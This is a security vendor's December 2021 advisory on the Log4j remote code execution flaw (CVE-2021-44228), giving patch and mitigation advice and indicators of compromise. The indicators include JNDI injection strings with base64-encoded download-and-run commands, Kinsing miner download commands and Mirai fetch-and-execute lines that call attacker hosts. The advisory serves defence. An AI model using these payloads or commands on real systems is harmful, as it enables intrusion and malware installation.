DEC 2021

Log4j Vulnerability

PLATFORM FEATURE UPDATE

Adlumin detected a high number of active exploitation attempts involving the recently disclosed Log4j RCE vulnerability (**CVE-2021-44228**) amongst our clients. Exploitation has been detected across a range of monitored endpoints, including firewalls, VPN devices, miscellaneous device data sources and Linux servers.

Apache has released an **updated version**, Log4j 2.15.0. Adlumin encourages all customers to investigate their internal and third-party usage of Log4j for vulnerable configurations and to apply the released patches immediately. If you are uncertain or unable to determine if your implementation is vulnerable, patch aggressively.

If updating is not possible, the Apache Foundation recommends the following mitigations:

- Users of Log4j 2.10 or greater may add ***-Dlog4j.formatMsgNoLookups=true*** as a command-line option or add ***log4j.formatMsgNoLookups=true*** to a ***log4j2.component.properties*** file on the classpath to prevent lookups in log event messages.
- Users since Log4j 2.7 may specify ***%m{nolookups}*** in the ***PatternLayout*** configuration to prevent lookups in log event messages.
- Remove the ***JndiLookup*** and ***JndiManager*** classes from the ***log4j-core jar***. Removal of the ***JndiManager*** will cause the ***JndiContextSelector*** and ***JMSAppender*** to no longer function.

Background

On Dec. 9, 2021, a remote code execution **vulnerability** in Apache **log4j 2** was observed being actively exploited. Proof of concept code was publicly released, which revealed that exploitation was trivial to perform. Like many high severity RCE exploits, widespread scanning activity for CVE-2021-44228 has been seen across the internet with the intent of seeking out and exploiting unpatched systems. Adlumin highly recommend that organizations upgrade to the latest version (2.15.0-rc2) of Apache log4j 2 for all systems.

The Kenna Risk Score for CVE-2021-44228 is **93 out of 100**, an exceptionally rare score reflecting the severity and potential impact of this vulnerability.

Indicators of Compromise

The following indicators of compromise are associated with observed exploitation activity targeting CVE-2021-44228.

USER-AGENT HTTP HEADERS:

${jndi:ldap://015ed9119662[.]bingsearchlib[.]com:39356/a}
${jndi:ldap://32fce0c1f193[.]bingsearchlib[.]com:39356/a}
${jndi:ldap://3be6466b6a20[.]bingsearchlib[.]com:39356/a}
${jndi:ldap://6c8d7dd40593[.]bingsearchlib[.]com:39356/a}
${jndi:ldap://7faf976567f5[.]bingsearchlib[.]com:39356/a}
${jndi:ldap://e86eafcf9294[.]bingsearchlib[.]com:39356/a}
${jndi:ldap://80.71.158[.]12:5557/Basic/Command/Base64/KGN1cmwgLXMgODAuN
zEuMTU4LjEyL2xoLnNofHx3Z2V0IC1xIC1PLSA4MC43MS4xNTguMTIvbGguc2gpf
GJhc2g=}${jndi:ldap://45.155.205[.]233[:]12344/Basic/Command/Base64/KGN1cmwg
LXMgNDUuMTU1Lj IwNS4yMzM6NTg3NC9bdmljdGltIElQXTpbdmljdGltIHBvcnRdf
Hx3Z2V0IC1xIC1PLSA0NS4xNTUuMjA1LjIzMzo1ODc0L1t2aWN0aW0gSVBdOlt2aW
N0aW0gcG9ydF0pfGJhc2gK}

IPs

109.237.96[.]124
185.100.87[.]202
213.164.204[.]146
185.220.101[.]146
171.25.193[.]20
178.17.171[.]102
45.155.205[.]233
171.25.193[.]25
171.25.193[.]77
171.25.193[.]78
185.220.100[.]242
185.220.101[.]39
18.27.197[.]252
89.234.182[.]139
104.244.79[.]6

Kinsing Mining Activity

Commands:

```
curl -o /tmp/kinsing http://80.71.158.12/kinsing
curl -o /tmp/libsystem.so http://80.71.158.12/libsystem.so
curl -o /etc/kinsing http://80.71.158.12/kinsing
chmod 777 /tmp/kinsing
chattr -R -i /var/spool/cron
chmod +x /etc/kinsing
```

URLs:

hxxp[:]//45.137.155[.]55/ex[.]sh
hxxp[:]//45.137.155[.]55/kinsing
hxxp[:]//80.71.158[.]12/libsystem.so
hxxp[:]//80.71.158[.]12/kinsing
hxxp[:]//80.71.158[.]12/Exploit69ogQNSQYz.class

Hashes (SHA256):

8933820cf2769f6e7f1a711e188f551c3d5d3843c52167a34ab8d6eabb0a63ef
6e25ad03103a1a972b78c642bac09060fa79c460011dc5748cbb433cc459938b
c38c21120d8c17688f9aeb2af5bdafb6b75e1d2673b025b720e50232f888808a

Mirai Infection Activity

Mirai retrieval script (SHA256):

3f6120ca0ff7cf6389ce392d4018a5e40b131a083b071187bf54c900e2edad26 (lh[.]sh)

Binary retrieval/execution commands:

```
wget hxxp[:]//62.210.130[.]250/web/admin/x86;chmod +x x86;./x86 x86;
wget hxxp[:]//62.210.130[.]250/web/admin/x86_g;chmod +x x86_g;./x86_g x86_g;
wget hxxp[:]//62.210.130[.]250/web/admin/x86_64;chmod +x x86_64;./x86_g x86_64;
```

Mirai binary hashes (SHA256):

776c341504769aa67af7efc5acc66c338dab5684a8579134d3f23165c7abcc00
8052f5cc4dfa9a8b4f67280a746acbc099319b9391e3b495a27d08fb5f08db81
2b794cc70cb33c9b3ae7384157ecb78b54aaddc72f4f9cf90b4a4ce4e6cf8984

Mirai attacker IPs:

62.210.130[.]250